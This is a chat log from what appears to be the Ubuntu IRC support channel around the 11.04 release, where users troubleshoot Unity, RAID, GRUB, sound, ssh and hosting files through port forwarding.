[19:52] <bsodmike> I'm getting 'No more PTYs' when doing screen
[19:52] <spyhermit> RavenHursT: installed, took about 5 minutes for the main module to build.
[19:52] <Halzen> ChessTeach: Honestly, I don't think Raid arrays are very useful for personal computers. Secure servers, yes, but not desktops.
[19:52] <elliot_> My VBGuestadittions worked well on mi Ubuntu 11
[19:52] <ShockDoc> still nothing :'(
[19:52] <darkfrog> Unity stole my window borders. :p
[19:52] <bsodmike> if I do tty when I ssh in, it says /dev/ttyp0
[19:52] <Soothsayer> anyone on Ubuntu 11 with a dual monitor setup ?
[19:53] <iceroot> ChessTeach: remeber one thing, raid is NOT a backup, so why you need a raid?
[19:53] <bsodmike> instead of /dev/pts/X where X is some number
[19:53] <ChessTeach> iceroot: preformance
[19:53] <bsodmike> anyone?
[19:53] <darkfrog> I have no controls on any of my windows anymore for resize, close, move, minimize, etc.
[19:53] <iceroot> ChessTeach: so you want raid0 (strip)
[19:53] <RavenHursT> spyhermit: you do it through the window GUI or throught he commandline?
[19:53] <elliot_> Where I can find Administration Menu on Ubuntu 11?
[19:53] <ChessTeach> iceroot: yes
[19:53] <spyhermit> 4 nines!
[19:53] <Pici> bsodmike: What release of Ubuntu?
[19:53] <iceroot> ChessTeach: if one drives fails, everything fails
[19:53] <andeeeuk_> I must say that I am so pleased with ubuntu 11.04
[19:53] <bsodmike> 10.04.2
[19:53] <ChessTeach> iceroot: i know, i bought a backup external in case that happens
[19:53] <iceroot> ChessTeach: what about an ssd instead of raid0?
[19:53] <spyhermit> RavenHursT: gui, but it's just running the command line anyway
[19:53] <elliot_> 11.04
[19:53] <ChessTeach> iceroot: what is ssd?
[19:53] <cousin_mario> hello
[19:53] <Pici> bsodmike: Please prefix your responses with my nick so that I can see them easier.
[19:54] <andeeeuk_> works soo well, initially I was having doubts about unity
[19:54] <iceroot> ChessTeach: solid state disc (flash drive)
[19:54] <Pici> bsodmike: Let me take a look at something, one moment.
[19:54] <bsodmike> @Pici sure:)
[19:54] <cousin_mario> what is it doing unity-window-decorator running in my ubuntu-classic session?
[19:54] <ChessTeach> iceroot: oh, yeah i guess that would of been better
[19:54] <Halzen> ChessTeach: Sounds like you want a solid-state drive, or SSD. It is full flash memory with no moving parts, and is exponentially faster and more stable than traditional hard drives.
[19:54] <ChessTeach> iceroot: but i already have the two hard drives
[19:54] <W43372> I just upgraded to Natty from Mav. I'm digging the new unity interface, but I'm wondering if I am still able to use panel applets on the top panel without switching back to the Gnome gui?
[19:54] <iceroot> ChessTeach: then build a software raid 0
[19:54] <RavenHursT> spyhermit: dangit.. mine says "The headers for the current running kernel were not found.  If the following module compilation fails then this could be the reason. Building the main Gues Addistions module" and then it just sits there.. grrr..
[19:55] <cousin_mario> W43372: you poor man
[19:55] <elliot_> SDD are already very small :(
[19:55] <Halzen> ChessTeach: I'm buying an OCZ Vertex 2 50GB SSD very soon. It should be able to boot Fedora for me in under 12 seconds.
[19:55] <ChessTeach> Halzen: how much is that though?
[19:55] <zerwas> I wanted to create a backtrace for a crash of nautilus, but when i entered "run" in gdb, X crashed
[19:55] <spyhermit> ChessTeach: sadly, with standard pc hardware, no dedicated raid card, software raid, you're looking at maybe 10% speed boost.
[19:55] <W43372> cousin_mario What?
[19:55] <Halzen> ChessTeach: I'll be spending about $100 USD on mine. The price goes up quite a bit by storage capacity.
[19:55] <ChessTeach> spyhermit: I guess I will take what I can get
[19:56] <zerwas> How can i debug this X crash now?
[19:56] <spyhermit> RavenHursT: well, it took 20 minutes on my spare machine
[19:56] <Halzen> ChessTeach: If you want to shop for an SSD, look not just at capacity and price, but also at read and write speeds. The Vertex 2 can read over 275MB/s.
[19:56] <elliot_> Dear friends.. please.. any idea where I can find System Administration Menu on Ubuntu 11?
[19:56] <ChessTeach> Halzen: if I could return my drives, I think I would, but I do not have the recipts\
[19:56] <Wipster> due to an unfortunate mistake I issued 'unity --replace' while in the classic desktop environment  now I dont have a classic heh, how can I restore the defaults?
[19:56] <zerwas> elliot_> press the power button in the upper right corner, there you will find a menu item "settings" or so
[19:57] <darkfrog> elliot_: Windows Key then type what you want to do
[19:57] <W43372> cousin_mario Do what?
[19:57] <Halzen> ChessTeach: Well, all upgrades cost money. For what it's worth, I think it's a very worthwhile upgrade.
[19:57] <ChessTeach> iceroot: So I need to get the alternative Ubuntu CD to do the software raid right?
[19:57] <iceroot> ChessTeach: no
[19:57] <ChessTeach> iceroot: what do I need
[19:57] <iceroot> ChessTeach: you can build a software raid everytime
[19:57] <cousin_mario> W43372: because you upgraded to natty. I've been fighting the urge to toss my computer out of the window since I did that.
[19:57] <spyhermit> ChessTeach: yeah. A single SSD is going to blow away your array... if you don't need a ton of space, you can get a pretty fast ssd for 100$ or so
[19:58] <iceroot> ChessTeach: you can build a software-raid in an already installed system
[19:58] <ChessTeach> iceroot: how?
[19:58] <trailoryo> Have anyone experienced bugs or crashes with Transmission?
[19:58] <trailoryo> actually its making everything crash right now. wow.
[19:58] <ChessTeach> spyhermit: I am still considering that idea
[19:58] <Pici> bsodmike: Are you missing anything else in /dev since your rebuild?
[19:58] <elliot_> darkfrog:  Thank you my friend!!
[19:58] <iceroot> !raid | ChessTeach
[19:58] <ubottu> ChessTeach: Tips and tricks for RAID and LVM can be found on https://help.ubuntu.com/community/Installation/SoftwareRAID and http://www.tldp.org/HOWTO/LVM-HOWTO - For software RAID, see https://help.ubuntu.com/community/FakeRaidHowto
[19:58] <darkfrog> wow, I guess the unity-window-decorator crashed....restarting it fixed my troubles. :o
[19:58] <Halzen> ChessTeach: Google is your friend: https://help.ubuntu.com/community/Installation/SoftwareRAID
[19:58] <darkfrog> that's a bit disconcerting
[19:58] <bsodmike> @member:Pici I've not touched /dev
[19:58] <bsodmike> @Pici I mean
[19:58] <iceroot> !google | Halzen
[19:58] <ubottu> Halzen: While Google is useful for helpers, many newer users don't have the google-fu yet. Please don't tell people to "google it" when they ask a question.
[19:58] <darkfrog> at least that it didn't auto-restart itself
[19:58] <Dr_Willis> trailoryo:  used it for a few hrs over the last few days . no issus
[19:59] <W43372> Cousin_Mario well I've only been using it for less than an hour so far. I'm liking it. I just need to know if i can use panel applets still. I'm on battery power and I can't find the applet to let me change my processor speed so my battery is draining faster.
[19:59] <xskydevilx> How do I restore GRUB2 using the live cd/usb?
[19:59] <Dr_Willis> W43372:   thers alternative indicator-applets for a lot of the old applets.
[19:59] <Dr_Willis> !fixgrub | xskydevilx
[19:59] <ubottu> xskydevilx: GRUB2 is the default Ubuntu boot manager since 9.10 (Karmic). Lost GRUB after installing Windows? See https://help.ubuntu.com/community/RestoreGrub - For more information and troubleshooting for GRUB2 please refer to https://help.ubuntu.com/community/Grub2 - See !grub1 for releases before Karmic (9.10)
[19:59] <Halzen> ubottu: Your auto-detection could use some revisions.
[19:59] <ubottu> Error: I am only a bot, please don't think I'm intelligent :)
[19:59] <W43372> cousin_mario and I also can't find force quit
[19:59] <spyhermit> so.... anyone have experience with graphical glitches in unity? still trying to sort out my absurd font issues
[19:59] <iceroot> ChessTeach: but remeber again, if one drive fails in raid0 your files are gone
[20:00] <spyhermit> iceroot: he's already said he has external backups, he knows the risks.
[20:00] <ChessTeach> Thanks again guys
[20:00] <W43372> cousin_mario: Oh, and when I want to switch between windows I can't use Super + Tab to switch between them with the fancy animation that was in Mav.
[20:01] <Dr_Willis> W43372:  thats a compiz setting/plugin thats proberly disabled by default
[20:01] <iceroot> spyhermit: losing all data is worth to mention again, dont you think?
[20:01] <Dr_Willis> super key is used for lots of other things these days :)
[20:01] <spyhermit> iceroot: 4th time might be the charm. ;)
[20:01] <W43372> Dr_Willis properly disabled?
[20:01] <iceroot> spyhermit: it was the second time
[20:01] <Dr_Willis> W43372:  many compiz plugins dont play well with Unity.
[20:02] <ultrax> hi im having issues with package apt-proxy in lucid _and_ natty. unfortunately there is no active apt-proxy irc channel.is somebody willing to help?
[20:02] <Dr_Willis> W43372:  install ccsm and play with them  if you want.
[20:02] <Dr_Willis> !ccsm
[20:02] <ubottu> To enable advanced customization of desktop effects in Ubuntu: install 'compizconfig-settings-manager' or 'simple-ccsm'. If you install the latter, a new option will appear in your appearance properties - See also !compiz - Help in #compiz
[20:02] <W43372> Dr_Willis so the super + tab animation won't work with Unity?
[20:02] <spyhermit> iceroot: wish he'd read up on what he was trying to do before he just put the cowboy hat on, though.
[20:02] <erika_> I have installed ffmpeg-thumbnailer on xubuntu, but get no thumbnails for video files
[20:03] <erika_> pdf, images, etc all work
[20:03] <Dr_Willis> W43372:  no idea. its not enabled by default..  notice if you hit the windows/super  keys. the launcher gives #'s to the icons.. the  super key has a lot of other things it does under unity.
[20:03] <elliot_> Thank you all you!!!  U re a great comunity!!
[20:03] <thevor> Is the final release of 11.04 now available?
[20:03] <dKingston> ok, so
[20:03] <dKingston> i just tried gnome 3
[20:03] <iceroot> thevor: yes
[20:03] <spyhermit> thevor: yep
[20:03] <Dr_Willis> thevor:  has been fo a few days
[20:03] <dKingston> and it sucks
[20:03] <Lcawte|SortingOS> So I'm using a 11.04 live CD to repair my  broken upgrade, but I seem to be missing my boot loader partition, what should I do to install it (the upgrader keeps failing when it gets to it), I need to know flags, name and format of it...
[20:03] <Soothsayer> thevor: well yes.
[20:03] <thevor> Great.
[20:03] <dKingston> so i'm trying to use apt-get install
[20:03] <dKingston> and it still sucks.
[20:03] <Soothsayer> dKingston: really?
[20:03] <dKingston> what do
[20:03] <Halzen> elliot_: Yeah, we are. We're thinking of renaming it Halzenbuntu. :P
[20:03] <Hedgehog456> After switching from Unity to GNOME, and editing a Compiz setting, everything is messed up.
[20:03] <dKingston> Soothsayer: it's literally broken for me.
[20:03] <Wipster> anyone know how to get the default classic login back? I accidentally issued 'unity --replace' in it :(
[20:03] <dKingston> i followed instructions exactly
[20:03] <Dr_Willis> night all
[20:03] <thevor> thank you
[20:03] <dKingston> didn't work for this
[20:03] <Soothsayer> dKingston: is that a gnome3 issue or apt + ubuntu issue ?
[20:04] <dKingston> Soothsayer: everything
[20:04] <elliot_> 11.04 worked great for me!
[20:04] <chotaz> How do I change the permissions of a folder and all the sub-folders and files inside at the same time?
[20:04] <W43372> Dr_Willis Then I'll check out ccsm and use a different key combination. Thanks.
[20:04] <andeeeuk_> whatever you do do not install gnome 3 over unity its skrews everything up!!! not worth it!!
[20:04] <spyhermit> Wipster: install compizconfig-settings-manager, run ccsm, and disable the unity plugin. :)
[20:04] <Soothsayer> Is it possible to have a Windows 7 like taskbar at the bottom (and preferably across dual monitors) with Unity in 11.04?
[20:04] <andeeeuk_> I made that mistakte!!
[20:04] <iceroot> chotaz: chmod -R
[20:04] <Lcawte|SortingOS> So I'm using a 11.04 live CD to repair my  broken upgrade, but I seem to be missing my boot loader partition, what should I do to install it (the upgrader keeps failing when it gets to it), I need to know flags, name and format of it...
[20:04] <jibadeeha> elliot_, ditto for me ... best version of Ubuntu yet
[20:04] <chotaz> iceroot: ty
[20:04] <iceroot> chotaz: but you dont want 777, correct?
[20:05] <alkemann> this new integrated launcher in natty. is there a known problem where it is laggy? after typing a character, it freezes for a few seconds before responding
[20:05] <ultrax> alkemann: just apt-get --purge remove and all problems are gone... ;)
[20:05] <Halzen> Guys, if you don't want Unity, I wouldn't install Natty 11.04. Wait for 11.10 or Linux Mint 11.
[20:06] <W43372> Dr_Willis I just tried an apt-get for ccsm and terminal told me it was unable to locate
[20:06] <lolmatic> using broadcom sta wlan drivers. and i cant connect to any wlan. tried wpa2, wpa, wep and open wlans. it doesnt work :(
[20:06] <ultrax> Halzen: 11.10 will have unity only
[20:06] <iceroot> Halzen: noone is forcing you to use unity
[20:06] <alkemann> ultrax: as in remove everything?
[20:06] <KM0201> lolmatic: whats your wireless device?
[20:06] <raptor_> ciao
[20:06] <Wipster> spyhermit, hmmmm everything unticks and I have no idea whats needed to replace
[20:06] <BlouBlou> alkemann: new? it isn't new, it haven't changed for years
[20:06] <SANGKEUN> as I know, you can change from unity to gnome
[20:06] <Halzen> iceroot: I'm perfectly aware of that. I was responding to people encountering issues replacing Unity in their Natty install.
[20:06] <Lcawte|SortingOS> So I'm using a 11.04 live CD to repair my  broken upgrade, but I seem to be missing my boot loader partition, what should I do to install it (the upgrader keeps failing when it gets to it), I need to know flags, name and format of it...
[20:07] <ultrax_> wow i got disconnected...
[20:07] <maddie> Can someone please help me with my problem with the unity launcher?
[20:07] <elliot_> exit
[20:07] <alkemann> BlouBlou: you must be talking about something completely different
[20:07] <BlouBlou> alkemann: yep, I missread
[20:07] <meco> It appears my gui is broken since after the login screen it just goes black. Should I try a reinstall?
[20:07] <ultrax_> nobody with expierience in apt-proxý's advanced config?
[20:08] <BlouBlou> alkemann: sorry ;)
[20:08] <xcyclist> Say, why do I only have 1024x768 resolution now on my laptop with the 11.04 upgrade?  This makes it very frustrating to use?
[20:08] <Hedgehog456> Why does Natty have to mess so many things up?
[20:08]  * Hedgehog456 sighs
[20:08] <maddie> My launcher settings in Unity reset every time I log in . Does anyone have any idea of what could be wrong?
[20:08] <xcyclist> I would have been much better off not upgrading with this fubar.
[20:08] <Halzen> xcyclist: That means that your graphics configuration is not complete. What video device are you using?
[20:08] <alkemann> i have an updated beta of natty, is there any difference in reinstalling the release?
[20:09] <g0rby> Hello, If i want last to display all logins for a particular user, which file should the -f switch point to
[20:09] <g0rby> ?
[20:09] <xcyclist> Halzen:  Can I find that out from proc?  I don't know where to look.
[20:09] <RavenHursT> grrr... anyone have any idea why the building of the module for VBGuestAdditions would just hang everytime I try to install it??
[20:09] <Halzen> alkemann: As I understand it, you'll need to switch to the released version to get all of the future updates.
[20:10] <geekbri> does anybody know of good documentation to setup outgoing mail with postfix on ubuntu 10.04 LTS?
[20:10] <Halzen> I gotta go, guys. Take care, and good luck with all of your Natty issues.
[20:11] <meco> It appears my gui is broken since after the login screen it just goes black. Should I try a reinstall?
[20:11] <g0rby> If i do "last (username)" it only displays logins from the beggining of the day (it says wtmp starts then) how do i get it to go further back?
[20:11] <g0rby> im pretty sure i got hacked over the weekend as i saw the same ip in my ssh log as in the xsender ip in some hotmail emails i didnt send
[20:11] <user82> hi. i installed natty and it failed to install the bootloader(omg). so i would do a grub-install device manually but two questions: a) will it detect my windows partition b)how do i find out where to install(raid controller..so /dev/sda is just one of two raid discs, natty is on /dev/dm-4. where does it go best?)
[20:11] <g0rby> i want to find out what they did =/
[20:12] <igi69_> hello, I have 2 ubuntus in my pc in one is working the bluetooth in the other not, can you check this post http://ubuntuforums.org/showthread.php?t=1743353 or this one http://www.linuxquestions.org/questions/ubuntu-63/bluez-does-not-connect-my-headset-nokia-bh-104-a-875959/ and help me, please. I believe is a question of configuration. one of the ubuntu is fresh install the other is upgrade. I think the problem is with the upgrade.
[20:12] <user82> or how do i find existing grub's(the old one loads but goes to rescue mode)
[20:12] <Omega> !grub | user82
[20:12] <ubottu> user82: GRUB2 is the default Ubuntu boot manager since 9.10 (Karmic). Lost GRUB after installing Windows? See https://help.ubuntu.com/community/RestoreGrub - For more information and troubleshooting for GRUB2 please refer to https://help.ubuntu.com/community/Grub2 - See !grub1 for releases before Karmic (9.10)
[20:13] <graunjalj> hello , im trying to connect with ssh with noip and i can´t do it console says "Write failed: Connection reset by peer" , what can i do?
[20:13] <mnassif> Hi , i tried to install ubuntu 11.04  but it freeze in timezone window. I am using a Dell t7400
[20:13] <ultrax_> g0rby: what was the username used?
[20:13] <g0rby> gorby
[20:13] <g0rby> ultrax: gorby
[20:13] <ultrax_> well, execute 'history'
[20:14] <g0rby> yeah ive done that, it looks fine
[20:14] <Brutus> I have problem with sound, i was uninstall gnome(im using xfce) and after this sound is broken, in preferences dont see any device(i had my 2soundcards and usb camera in preferences), i try uninstall pulse audio,alsa, and then install oss or other, no change, pls help me!
[20:14] <Hedgehog456> Upon disabling the Compiz Unity plugin is it required to reactivate it to access Unity?
[20:14] <ultrax_> but if it's a proper hacker he probably redirected history to /dev/null or else
[20:14] <g0rby> ultrax: but it cant be coinsidence that i see that ip in my ssh log, and in the bad emails in hotmail
[20:14] <meco> It appears my gui is broken since after the login screen it just goes black. Should I try a reinstall?
[20:14] <ultrax_> g0rby: thats no coincidence,no
[20:15] <ultrax_> g0rby: update your system, fix your firewall, make your system stronger instead of searching what he might have done
[20:15] <g0rby> ultrax: can i use last some how to display all logins within a particular date range?
[20:15] <Froq> is there a reason why screen sharing (VNC) doesn't work on 11.04
[20:15] <Froq> ?  mine never seems to work, when I connect, I just get a black screen....
[20:15] <ultrax_> g0rby: afaik no
[20:15] <kux3er> hi
[20:15] <igi69_> hello, I have 2 ubuntus in my pc in one is working the bluetooth in the other not, can you check this post http://ubuntuforums.org/showthread.php?t=1743353 or this one http://www.linuxquestions.org/questions/ubuntu-63/bluez-does-not-connect-my-headset-nokia-bh-104-a-875959/ and help me, please. I believe is a question of configuration. one of the ubuntu is fresh install the other is upgrade. I think the problem is with the upgrade.
[20:15] <W43372> Dr_Willis I just tried an apt-get for ccsm and terminal told me it was unable to locate
[20:16] <Hedgehog456> Upon disabling the Compiz Unity plugin is it required to reactivate it to access Unity?
[20:16] <kux3er> ?
[20:16] <Hedgehog456> I disabled it
[20:16] <kyubutsu> meco: are you able to see the login screen?
[20:16] <Hedgehog456> To get Unity back do I have to reenable it?
[20:16] <user82> so how do i find out which /dev is my raid? (i suppose the grub needs to go there)
[20:16] <W43372> Someone on here just suggested that I install ccsm. This is what I got in terminal: http://paste.ubuntu.com/602449/
[20:16] <wad> Since I upgraded my laptop to 11.4, my fan runs all the time. It's quite hot. Is this a known issue?
[20:17] <Brutus> I have problem with sound, i was uninstall gnome(im using xfce) and after this sound is broken, in preferences dont see any device(i had my 2soundcards and usb camera in preferences), i try uninstall pulse audio,alsa, and then install oss or other, no change, pls help me!
[20:17] <namzezam> linux-headers-2.6.35-28-generic  !!!!!!!!  It it more than 2 weeks a big bug on the kernal!! Who could do here something, and  if not here where? see http://paste.ubuntu.com/598867/ http://paste.ubuntu.com/602392/  https://tor-proxy.net/proxy/express/browse.php?u=https%3A%2F%2Fanswers.launchpad.net%2Fubuntu%2F%2Bsource%2Fupdate-manager%2F%2Bquestion%2F149709&b=26
[20:17] <xangua> W43372: first run: sudo apt-get update  , try again
[20:17] <namzezam> i did
[20:18] <meco> kyubutsu: Yes, sorta. It has changed its appearance, but it is graphical... But after that it all goes black
[20:18] <namzezam> look in the links for the results
[20:18] <igi69_> hello, I have 2 ubuntus in my pc in one is working the bluetooth in the other not, can you check this post http://ubuntuforums.org/showthread.php?t=1743353 or this one http://www.linuxquestions.org/questions/ubuntu-63/bluez-does-not-connect-my-headset-nokia-bh-104-a-875959/ and help me, please. I believe is a question of configuration. one of the ubuntu is fresh install the other is upgrade. I think the problem is with the upgrade.
[20:18] <W43372> xangua still got the same error
[20:18] <namzezam> i even can not report it
[20:18] <JWay> when putting full load on the wifi connection (copying a file via wireless) ubuntu 11.04 lags every 200-500 miliseconds
[20:19] <ultrax_> man where did i join to...
[20:19] <soreau> I selected classic ubuntu and it worked. Selected unity again, it switched. Now after this, classic ubuntu session is still unity, even after several restarts. Why is it broken?
[20:19] <xangua> W43372: you want to install 'compiz-settings-manager' not 'ccsm' since it does not exist
[20:19] <W43372> xangua ohok
[20:19] <sine_> hi there people. i have a new asus laptop with windows 7 64 bit. there are two partitions one with windows and i suppose a spare one. when resizing with gparted for an ubuntu install i will use the second one
[20:19] <BlouBlou> xangua: it's compizconfig-settings-manager
[20:19] <Brutus> I have problem with sound, i was uninstall gnome(im using xfce) and after this sound is broken, in preferences dont see any device(i had my 2soundcards and usb camera in preferences), i try uninstall pulse audio,alsa, and then install oss or other, no change, pls help me!
[20:20] <xangua> BlouBlou: tell that to W43372, not me
[20:20] <roasted> Dumb question - I'd like to report a bug I found with an Atheros wifi card in 11.04. Where's the best place to do that?
[20:20] <BlouBlou> W43372: Try 'sudo apt-get install compizconfig-settings-manager'
[20:20] <namzezam> what is this mean?  dpkg: ../../src/archives.c:809: tarobject: Assertion `r == stab.st_size' failed.
[20:21] <namzezam> after
[20:21] <Customs> how do i create an external ip address on my linux machine so i can access it from a different computer??
[20:21] <namzezam> Unpacking replacement linux-headers-2.6.35-28-generic ...
[20:21] <roasted> Customs, you don't create it. It's assigned to you by your ISP.
[20:21] <genii-around> roasted: Do you know the driver name the card uses?
[20:21] <roasted> Customs, if you go to "www.whatismyip.com" you'll be shown your external IP.
[20:21] <namzezam> BlouBlou: it this to me?
[20:22] <Customs> roasted: but thats only for my router isnt it??
[20:22] <roasted> genii-around, oh man. I'm not sure.
[20:22] <Brutus> I have problem with sound, i was uninstall gnome(im using xfce) and after this sound is broken, in preferences dont see any device(i had my 2soundcards and usb camera in preferences), i try uninstall pulse audio,alsa, and then install oss or other, no change, pls help me!
[20:22] <roasted> Customs, what is your intention? to host something on the web and provide a link to others todownload it?
[20:22] <Customs> yeah :)
[20:22] <BlouBlou> namzezam: I have no idea what it mean
[20:23] <roasted> Customs, then you need to log in to your router, which is done through your gateway. most common is 192.168.1.1. Once in there, you'll need to forward port 80 to whatever IP your computer is using that you want to host the material.
[20:23] <Lcawte|SortingOS> So I'm using a 11.04 live CD to repair my  broken upgrade, but I seem to be missing my boot loader partition, what should I do to install it (the upgrader keeps failing when it gets to it), I need to know flags, name and format of it...
[20:23] <Bookman> I have an ATI Xpress200 video card and 3D worked very well under 10.10.  Now I've upgraded to 11.04 and I cannot get it to work at all.  Any help?
[20:23] <roasted> Customs, then install apache2 (sudo apt-get install apache2).
[20:23] <Customs> roasted: what if my router doen't support port forwarding??
[20:23] <roasted> Customs, then, using root nautilus (gksudo nautilus) I'd create a folder in /var/www that you have rights to. I created 3 or 4 in there, such as ghost, mist, skynet, etc.
[20:23] <Brutus> I have problem with sound, i was uninstall gnome(im using xfce) and after this sound is broken, in preferences dont see any device(i had my 2soundcards and usb camera in preferences), i try uninstall pulse audio,alsa, and then install oss or other, no change, pls help me!
[20:23] <roasted> Customs, I've never heard of a router that didn't support port forwarding. But if it does not support it, I have no idea how else to work around it.
[20:24] <BlouBlou> Customs: port forwarding = router firewall
[20:24] <Customs> ah okay :)
[20:24] <roasted> Customs, what you are doing is basically allowing one system on your network to have port 80 access. Port 80 is HTTP access, hence the http://your.external.ip.address and then being able to see what you have hosted.
[20:24] <roasted> Customs, so forward port 80 to your box with the IP your box is using, and then create a folder in /var/www, something like public or storage or whatever.
[20:24] <TheRedOctober> Greetings all.  I am trying to ssh into a remote box that keeps giving me this error: "ssh_exchange_identification: Connection closed by remote host
[20:25] <roasted> Customs, then go to http://your.external.ip.address/storage (or public, or whatever you made it)
[20:25] <meco> It appears my gui is broken since after the login screen it just goes black. Should I try a reinstall?
[20:25] <roasted> Customs, once there, you should see the contents on a relatively blank white page.
[20:25] <peeps> is there a way to turn off automatic maximizing in unity when window is dragged toward the top
[20:25] <TheRedOctober> Does anyone know what causes that?
[20:25] <roasted> Customs, I find it very handy to use instead of sending files to dropbox for friends to download. That way they can leech directly from my box.
[20:25] <bubba> hi: lurking to see what I might learn. :)
[20:25] <NeuralJack> is there a way to install Natty WITHOUT that cursed "Unity Desktop"?
[20:25] <BlouBlou> TheRedOctober: it means that the server (host) isn't allowing your connection
[20:26] <envygeeks> TheRedOctober: that can be caused by many problems, check out this page and see if it helps you http://edoceo.com/notabene/ssh-exchange-identification
[20:26] <Customs> roasted: ah thankyou :) would you know anything about the social engineering toolkit??
[20:26] <TheRedOctober> NeuralJack: You can select "Classic Gnome" from the lower bar at the login screen
[20:26] <W43372> i need to change my processor speed in Natty but I'm not sure how to do that without the panel applet
[20:26] <BlouBlou> TheRedOctober: Most probably due to bad indentification (as error says)
[20:26] <xangua> NeuralJack: or try kubuntu, xubuntu, lubuntu
[20:26] <roasted> NeuralJack, Unity is not cursed, and I advise you take an open minded standpoint on it and use it like I did. Likewise, there's Ubuntu Classic available at hte login screen which will allow you to use Gnome 2.X panels for that session.
[20:26] <TheRedOctober> Thanks envy and blou!
[20:26] <roasted> Customs, I apologize, I am not aware of that toolkit.
[20:26] <BlouBlou> np :)
[20:26] <michele_> list of channels
[20:27] <Pici> !alis | michele_
[20:27] <ubottu> michele_: alis is a services bot that can help you find channels. Read "/msg alis help list" for help and ask any questions about it in #freenode. Example usage: /msg alis list #ubuntu*
[20:27] <genii-around> roasted: https://help.ubuntu.com/community/ReportingBugs using ubuntu-bugs, likely for package network-manager
[20:27] <Customs> roasted: its okay thanks for helping anyway :)
[20:27] <xrhstaras> help !
[20:27] <Pici> !ask | xrhstaras
[20:27] <ubottu> xrhstaras: Please don't ask to ask a question, simply ask the question (all on ONE line and in the channel, so that others can read and follow it easily). If anyone knows the answer they will most likely reply. :-)
[20:27] <roasted> Customs, good luck. You might find interest in reading about port forwarding so you can understand how it works. IT's one thing for me to say, oh forward port 80 to your internal IP so you can access it externally, but understanding WHAT it's doing is far more valuable. ;)
[20:27] <xrhstaras> help , after updating the ubuntu 11.4 fresh installation  i get a message while im booting , it says something about it cannot mount crypto fs ?
[20:27] <xrhstaras> !ask
[20:27] <ubottu> Please don't ask to ask a question, simply ask the question (all on ONE line and in the channel, so that others can read and follow it easily). If anyone knows the answer they will most likely reply. :-)
[20:28] <igi69_> hello, I have 2 ubuntus in my pc in one is working the bluetooth in the other not, can you check this post http://ubuntuforums.org/showthread.php?t=1743353 or this one http://www.linuxquestions.org/questions/ubuntu-63/bluez-does-not-connect-my-headset-nokia-bh-104-a-875959/ and help me, please. I believe is a question of configuration. one of the ubuntu is fresh install the other is upgrade. I think the problem is with the upgrade.
[20:28] <xrhstaras> !ask help , after updating the ubuntu 11.4 fresh installation  i get a message while im booting , it says something about it cannot mount crypto fs ?
[20:28] <Customs> roasted: thanks allot you really helped L:)(
[20:28] <ubottu> Error: I am only a bot, please don't think I'm intelligent :)
[20:28] <xrhstaras> !ask| help , after updating the ubuntu 11.4 fresh installation  i get a message while im booting , it says something about it cannot mount crypto fs ?
[20:28] <ubottu> help , after updating the ubuntu 11.4 fresh installation  i get a message while im booting , it says something about it cannot mount crypto fs ?: please see above
[20:28] <roasted> genii-around, I'm not sure if it would be network-manager related. I was comparing two wireless cards, one atheros one intel, and the atheros one was SIGNIFICANTLY slower, but only with security. If I took security off, suddenly the atheros was on par with the intel card.
[20:28] <BlouBlou> xrhstaras: please don't
[20:28] <thanos> any one know if gnome applets will be converted to regular apps or indicator applets. I'm thinking Byzanz Recorder and  Clipboard Enycryption applets
[20:28] <NeuralJack> Roasted:  I've spent 2 days on Unity, can't find anything easily, the programs are less organised and every time I look for something, I get Advertisements for what's available for download.  so far, I haven't found a single way how it makes anything easier.
[20:28] <roasted> genii-around, in 10.10 this was not the case, as both cards were very fast. in 11.04, it was the atheros that suffered. Another user on the forums confirmed a different atheros card is doing the same thing for him.
[20:29] <W43372> i need to change my processor speed in Natty but I'm not sure how to do that without the panel applet
[20:29] <BlouBlou> xrhstaras: There is no need to spam bot with a lot of commands, just ask in here and if someone knows, will answer you :-)
[20:29]  * bubba is still making up his mind about unity.
[20:29] <roasted> NeuralJack, I apologize this was not that easy of a transition for you. I'm just trying to make it aware that a lot of people devoted a LOT of time and energy into Unity, and it actually is a very very intuitive interface. Different? Oh yes. So different it may be frustrating. But once you get used to it, it's amazing how nice it is to use.
[20:29] <genii-around> roasted: This is why, if you you know the drivername you can look up what package it is in on packages.ubuntu.com and then file the bug against that
[20:29] <diskin> in /etc/modprobe.d/alsa-base, is it the same what to use: "-" or "_" in module name (e.g. "options snd-hda-intel model=dell-m81")?
[20:29] <TheRedOctober> bubba: I made up my mind.  Im running xfce.
[20:30] <roasted> NeuralJack, I hated Unity for many weeks when I used it during the beta process. But it grew on me, and over time I began to see its benefits. I'm just suggesting that you try it for an extended period of time, and instead of trying to do things the old way, find a new way to do them. AFter all, that's the only way to learn in a new environment, in my opinion.
[20:30] <roasted> genii-around, I'll fire up my other laptop here with the atheros card in it and see. But I cannot comment on what the other user was using for his atheros card that gave him issues.
[20:30] <lsolesen> Upgraded to 11.04, but only have a black screen.
[20:30] <Lcawte|SortingOS> So I'm using a 11.04 live CD to repair my  broken upgrade, but I seem to be missing my boot loader partition, what should I do to install it (the upgrader keeps failing when it gets to it), I need to know flags and format of it...
[20:31] <xcyclist> Halzen:  Video chipsets: Intel HD Graphics 256MB NVIDIA® Quadro® NVS3100M
[20:31] <lsolesen> How can I solve this?
[20:31] <BlouBlou> roasted: anyways, I really prefer classic-desktop :P It happens when you're using it since 2007 hehe
[20:31] <NeuralJack> Sure, roasted, I understand.  I"ll give it another try in the future.
[20:31] <xcyclist> Halzen:  This is on a Thinkpad T410 lenovo.
[20:31] <NeuralJack> thanks for the answers, everyone.
[20:31] <xrhstaras> i got strange message on the booting after updating the 11.4 ubuntu
[20:31] <roasted> BlouBlou, I got ya beat. Ive used classic since 2005. :P
[20:31] <xcyclist> Halzen:  It's a laptop.
[20:31] <BajK> stupid apache2 -.-
[20:31] <BajK> why does it REQUIRE /var/log/apache2 to start??
[20:31] <BajK> -.-
[20:31] <xrhstaras> when i boot it tries to mount a crypto device ? fs ? i dont know . it says press S to stop mounting. it appeared after i updated the ubuntu 11.4 installation
[20:31] <roasted> BlouBlou, that's the power of linux though. We users have choice. Love or hate kde/lxde/xfce/gnome2/gnome3/gnomeshell/unity/full blown command line terminal, we have choice
[20:32] <ScottR3> After installing 11.04, some of my keyboard shortcuts aren't working, and I can't find where they might be bound in CompizConfig Settings Manager.
[20:32] <mnassif> Hi , i tried to install ubuntu 11.04  but it freeze in timezone window. I am using a Dell t7400
[20:32] <roasted> ScottR3, keyboard shortcuts are under the system settings menu. did you look there?
[20:32] <BlouBlou> roasted: yeah, you're right. And now.. dinner time, see you soon! :)
[20:32] <ScottR3> roasted: Yep, and they're bound just like they were in 10.10 before I upgraded
